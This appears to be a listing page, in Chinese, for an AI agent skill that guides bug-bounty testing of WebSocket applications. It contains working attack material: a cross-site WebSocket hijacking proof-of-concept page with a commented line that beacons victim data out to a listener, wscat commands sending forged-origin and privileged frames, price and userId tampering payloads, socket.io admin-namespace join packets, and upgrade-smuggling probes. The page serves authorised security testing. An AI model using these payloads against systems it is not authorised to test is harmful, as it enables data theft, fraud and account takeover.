mcpField
H
hunt-websocket

hunt-websocket

github.com/elementalsouls安全5.3k253 次安装今天更新
代码仓库

关于 hunt-websocket

面向安全测试人员的 WebSocket 漏洞排查技能,涵盖端点发现、认证与授权、消息篡改及握手层问题。强调验证实际数据泄露或状态影响,以减少误报。

主要功能

  1. 01WebSocket 端点发现
  2. 02CSWSH 条件与影响验证
  3. 03逐消息认证和授权测试
  4. 04消息重放与篡改测试
  5. 05命名空间和房间越权检查
  6. 06握手层 Upgrade 请求走私检查

适用场景

  1. 01检查 Cookie 认证连接是否存在跨站劫持风险
  2. 02验证低权限会话能否执行高权限操作
  3. 03测试实时订单或游戏消息能否被篡改
  4. 04排查 socket.io 等实时通道的跨租户访问

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-websocket

安装后在 Claude Code 中输入/hunt-websocket确认已加载。

详细介绍

HUNT-WEBSOCKET — WebSocket 安全

核心资产目标

如果使用 Cookie 认证握手,且没有 CSRF 令牌或每连接令牌,则 CSWSH(跨站 WebSocket 劫持)的严重性为高至严重(可实时窃取任意已登录受害者的数据)。

价值最高的攻击链:

  • CSWSH → 数据窃取 / ATO — 握手通过环境 Cookie 进行认证,没有 CSRF 令牌,也未强制校验 Origin → 攻击者页面以受害者身份打开 WS,并传输其消息、个人身份信息和令牌。如果数据流中包含会话令牌、刷新令牌或 CSRF 令牌,则可进一步升级为 ATO。
  • 没有逐消息认证 — 存在 HTTP / 握手认证,但不会重新授权各个 WS 帧 → 接受特权消息(deleteUser、getSecretConfig)。
  • 消息篡改 — 在交易、游戏或结账应用中修改传输中的帧(价格、数量、userId、金额)→ 金融欺诈。
  • socket.io 命名空间 / 房间授权绕过 — 无需权限检查即可连接到特权命名空间,或加入其他用户的房间 → 跨租户实时数据窃取。
  • 握手层 Upgrade 请求走私 — 格式错误的 Upgrade / Connection / Sec-WebSocket-* 握手导致前置代理与源站对是否发生升级产生分歧 → 请求走私隧道。

依据 — 参考案例(开始测试前阅读)

以下是公开且可验证的参考资料。请据此判断真正的 WS 漏洞是什么样的,以及如何证明。不要编造其他报告 ID 或赏金金额。

#来源 / ID类型经验
1PortSwigger Web Security Academy — “跨站 WebSocket 劫持”(研究与实验)CSWSHCSWSH 的经典模型:Cookie 认证握手 + 没有 CSRF 令牌 + 缺少 Origin 检查 → 攻击者可以以受害者身份读取和发送数据。这是权威的方法论。
2Christian Schneider — “跨站 WebSocket 劫持(CSWSH)”(原始披露 / 文章,2013)CSWSH首个公开的 CSWSH 技术:Cookie 认证握手 + 未强制校验 Origin;PoC 必须证明攻击者浏览器收到受害者数据,而不只是得到 101 响应。
3Coda CSWSH(本仓库 hunt-csrf 集合中引用)CSWSH实时协作应用通常完全依靠 Cookie 对 socket 进行认证;缺失的控制措施是 Origin 允许列表。
4CVE-2020-7662 — websocket-extensions(Node)ReDoSDoS特制的 Sec-WebSocket-Extensions 标头会触发灾难性回溯 — 握手标头本身就是攻击面,不只有数据帧。
5CVE-2024-37890 — ws(Node)DoSDoS大量握手请求标头会耗尽服务器资源;这证实握手本身在数据帧传输前就可能受到解析器攻击。
6过时的 socket.io / Engine.IO 技术栈socket.io这说明了第 7 阶段版本指纹识别步骤的必要性 — 先识别版本,再检查该版本的已知安全公告。

以上仅列出 4 个可验证的 CVE,并给出精确 ID。对于无法确定精确标识符的案例,请在描述技术时不要添加引用 — 错误的 CVE 比没有引用更糟。


第 1 阶段 — 发现 WebSocket 端点

# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
  recon/$TARGET/ --include="*.js" 2>/dev/null | \
  grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u

# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
  recon/$TARGET/urls.txt | sort -u

# Probe handshake (101 = upgrade supported)
curl -sI -o /dev/null -w "%{http_code}\n" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
  "https://$TARGET/ws"

# socket.io polling handshake leaks version + sid
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo

# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open

在 Burp Pro 中浏览应用后,使用 get_proxy_websocket_history(以及 WebSockets 选项卡)枚举活动 socket、消息架构,以及哪些帧包含敏感认证数据。


阶段 2 — CSWSH(跨站 WebSocket 劫持)

CSWSH 需要以下 THREE 个条件同时满足:(a)握手通过环境凭据(自动发送的 Cookie)进行身份验证;(b)握手中没有不可预测的每连接令牌(没有 CSRF 令牌,URL/请求体中也没有令牌);(c)服务端不校验 Origin。缺少任何一个条件都会使攻击无法成功。

# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
#   Look for: Cookie: session=...  AND  the ABSENCE of any per-request token
#   (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
#   If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.

# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
  --header "Origin: https://evil.com" \
  --header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.

<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2);   // unique per run
var ws = new WebSocket("wss://TARGET/ws");                     // attacker cannot forge Origin
ws.onopen = () => {
  log("[+] 101 opened from attacker origin");
  ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
  log("VICTIM-DATA: " + e.data);
  // Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
  // navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>

排除误报:

  • 收到来自 Origin: evil.com 的完整 101 响应并不算发现漏洞。许多服务端会接受升级请求,但之后不发送任何内容,或在收到第一帧经过身份验证的消息时关闭连接。
  • 使用你植入账户 B 的唯一标记或不同的受害者 PII,验证收到的数据是否属于与攻击者不同的账户。
  • 将收到的负载外传至 Burp Collaborator / OAST 监听器,以便在带外记录是否收到数据——这是报告中证明影响的依据。
  • 如果握手中携带了每连接令牌(位于 URL、子协议或第一帧中),则 CSWSH 无法通过跨站方式利用;应降低评级或移除该漏洞。

阶段 3 — WS 消息缺少身份验证或身份验证薄弱

握手身份验证 ≠ 每条消息的身份验证。应用通常只对套接字进行一次身份验证,然后信任之后的每一帧。

# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}

# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}

**验证:**特权操作必须产生实际效果(例如测试用户被删除、返回机密配置,或通过第二个渠道可见的状态变化)——仅仅是某帧被接受但悄无声息地忽略并不算发现漏洞。使用未经过身份验证的客户端重新测试,以确认该操作并非只是无害地广播给所有人。

已签名消息重放

如果消息携带签名(例如 {"type":"payment","amount":100,"signature":"..."}),请测试其时效性和会话绑定。捕获一条已签名消息并测试:(a)绕过时间窗口:在消息过期时间戳之后重放消息(时钟偏差/验证缺陷);(b)绕过会话限制:从用户 A 的会话中捕获已签名消息,并在用户 B 的会话中重放——如果消息被接受,则签名未绑定用户/会话 ID。使用 Burp Repeater 存储并重放已签名帧,或在时间窗口过后使用 wscat 重建相同消息。

滥用业务逻辑:绕过状态机和规避速率限制

有状态协议(例如,交易平台预期的 connect → authenticate → verify_balance → place_order)可能会接受乱序消息或跳过前置步骤。测试:(a)跳过状态:连接后立即发送 place_order,不先执行 authenticate 或 verify_balance——如果缺少对各条消息的验证,许多技术栈就不会强制执行严格的顺序;(b)高频刷消息:快速发送相同或大量消息,以绕过 WS 层的速率限制(与 HTTP 速率限制不同)——测试每秒发送数百条消息,观察服务端是否限流、返回 429 或关闭连接。如果服务端接受并处理所有消息,就可能被用于滥用业务逻辑(例如,拆分成多笔小额付款以绕过金额上限,或快速创建订阅以耗尽资源)。


阶段 4 — 消息篡改(金融 / 游戏 / 结账)

# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
#   {"price":100}      -> {"price":0.01}
#   {"amount":1}       -> {"amount":9999}
#   {"userId":123}     -> {"userId":1}        # impersonate admin
#   {"orderTotal":...} -> recompute downstream?

# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}

**验证:**篡改后的值必须在服务端持久化——通过 REST/订单 API 或新建的套接字确认订单/余额/价格确实反映了篡改结果。许多 UI 会乐观地将你自己的帧回显给你;这种回显并不能证明漏洞。请展示对财务或状态的影响,最好使用沙盒/测试工具。

阶段 5 — socket.io / SignalR / Phoenix 命名空间与房间授权绕过

Engine.IO/socket.io 是构建在原始 WebSocket 之上的协议。数据包前缀(Engine.IO 4=MESSAGE,封装 socket.io 0=CONNECT、1=DISCONNECT、2=EVENT)携带命名空间/房间意图。加入时必须检查授权,但通常并未检查。

# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
  --header "Cookie: session=YOUR_SESSION"

# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
#    then CONNECT to a namespace with a socket.io CONNECT packet.
#    CORRECT packet to join the /admin namespace:  40/admin,
#       4 = Engine.IO MESSAGE,  0 = socket.io CONNECT,  /admin, = namespace
#    (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
#    Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
#    on rejection. A 40 success to a privileged namespace as a low/no-priv
#    user is the bug.

# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}]      # root namespace
#    Watch for 42 EVENT frames carrying ANOTHER user's data.

**验证:**区分已连接到命名空间和已收到特权数据。只有当你收到包含属于其他租户/用户数据的 42 事件帧,或特权 emit 产生了可验证的服务端效果时,才能确认该漏洞。如果收到 40/admin 确认帧后没有后续数据,可能只是连接到了一个开放但为空的命名空间。

SignalR 的对应方式:在 /<hub>/negotiate 进行协商,然后连接并调用 Invoke/Send 集线器方法——测试方法级授权。Phoenix Channels:对 topic:subtopic 执行 phx_join,并检查服务器的 join/3 是否会对主题进行授权。


阶段 6 — 握手层升级请求走私(不是帧走私)

重要提示:WebSocket 建立后,你的负载会封装在 WS 帧中,代理绝不会将其重新解析为 HTTP。在已打开的 wscat 会话中输入 GET /admin HTTP/1.1 不会有任何效果。WebSocket 相关的走私发生在握手阶段,即任何帧出现之前。

真正的技术是:发送一个 WebSocket Upgrade 请求,让前端代理和源站产生不同的解读——例如,使用错误的 Sec-WebSocket-Version,使源站回复 426 Upgrade Required(或 400),而代理已经认定连接已“升级”,并停止解析 HTTP。随后,代理会将后续字节作为不透明流直接隧道传输到源站,让你能够将任意 HTTP 请求走私通过前端控制(WAF/授权)。

# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:

#  A) Valid-looking upgrade but unsupported version:
#     Upgrade: websocket
#     Connection: Upgrade
#     Sec-WebSocket-Version: 777          <- origin should 426; does the proxy still tunnel?
#     Sec-WebSocket-Key: <16-byte base64>

#  B) Upgrade header present but Connection: keep-alive (mismatch)
#  C) Smuggled second request body after a "successful" 101, then send a normal
#     follow-up request on the same connection and watch for a desynced response.

请使用 Burp Pro 的 HTTP Request Smuggler 扩展来执行此操作(其中包含 WebSocket 升级测试用例),而不要手动操作。验证方式与经典走私完全相同:通过时序/差异探测证明发生了反同步,并且展示实际影响(访问内部/禁止的路径、污染缓存响应,或捕获其他用户的请求)——使用 Burp Collaborator / OAST 确认,绝不能仅凭单个含糊的响应下结论。


阶段 7 — socket.io / Engine.IO 特定说明

# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.

# Namespace selection is a PROTOCOL message, not a URL param.
#   WRONG:  wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
#           ^ `nsp` is NOT a recognized socket.io query param. It is silently
#             ignored and you connect to the ROOT namespace "/". You will believe
#             you tested /admin when you did not.
#   RIGHT:  open the socket, then send the CONNECT packet  40/admin,  (Phase 5).

# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
#   400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.

工具

npm install -g wscat                 # CLI WS client (raw + socket.io)
brew install websocat                # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
#   Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
#   enumerate frames; generate_collaborator_payload + get_collaborator_interactions
#   to prove out-of-band receipt from a CSWSH/smuggling PoC.

漏洞链表

WS 漏洞链接至影响
CSWSH + 流中的令牌从受害者帧中窃取会话/刷新/CSRF 令牌ATO(严重)
已确认 CSWSH订阅受害者频道,将数据外传至 OAST实时数据窃取(高)
无逐消息授权发送管理员/特权帧权限提升(严重)
消息篡改修改 price/amount/userId,并确认服务端效果金融欺诈(严重)
命名空间/房间授权绕过加入其他租户的房间,读取 42 事件跨租户数据外传(高)
握手升级请求走私将 HTTP 隧道传过 WAF/授权,并由 OAST 确认走私 → SSRF/缓存污染(高–严重)

报告前必须完成的验证

  • ✅ CSWSH:攻击者来源的概念验证 HTML 页面在受害者的另一个账号已登录时打开,必须收到该受害者的数据(通过唯一植入标记/不同的个人身份信息确认),并将其外传至 Collaborator/OAST。仅凭来自外部 Origin 的 101 响应不算发现。
  • ✅ 无逐条消息鉴权:特权帧必须产生可验证的服务器端影响(通过第二个渠道/REST API 确认状态发生变化),不能仅仅是“已接受”。
  • ✅ 消息篡改:篡改后的值必须在服务器端持久保存(通过订单/余额 API 确认),不能只是回显在 UI 中。
  • ✅ **命名空间/房间绕过:**必须收到包含其他用户数据的 42 事件帧,不能只是收到 40 命名空间确认帧。
  • ✅ **升级请求走私:**必须通过时序/差异探测证明请求不同步,并证明现实影响,且经 OAST 确认。不能仅凭单次响应推测。
  • ❌ 不接受:仅有 101 响应、已接受但被忽略的帧、自行回显的消息、已连接但为空的命名空间,或任何缺乏带外/跨账号证据的“已确认”声明。

严重程度:

  • CSWSH 泄露会话/刷新令牌 → ATO:严重
  • CSWSH → 实时会话数据窃取:高
  • 管理员/特权 WS 操作无鉴权:严重
  • 金融消息篡改(经服务器确认):严重
  • 命名空间/房间订阅绕过(跨租户):高

评论

支持 Markdown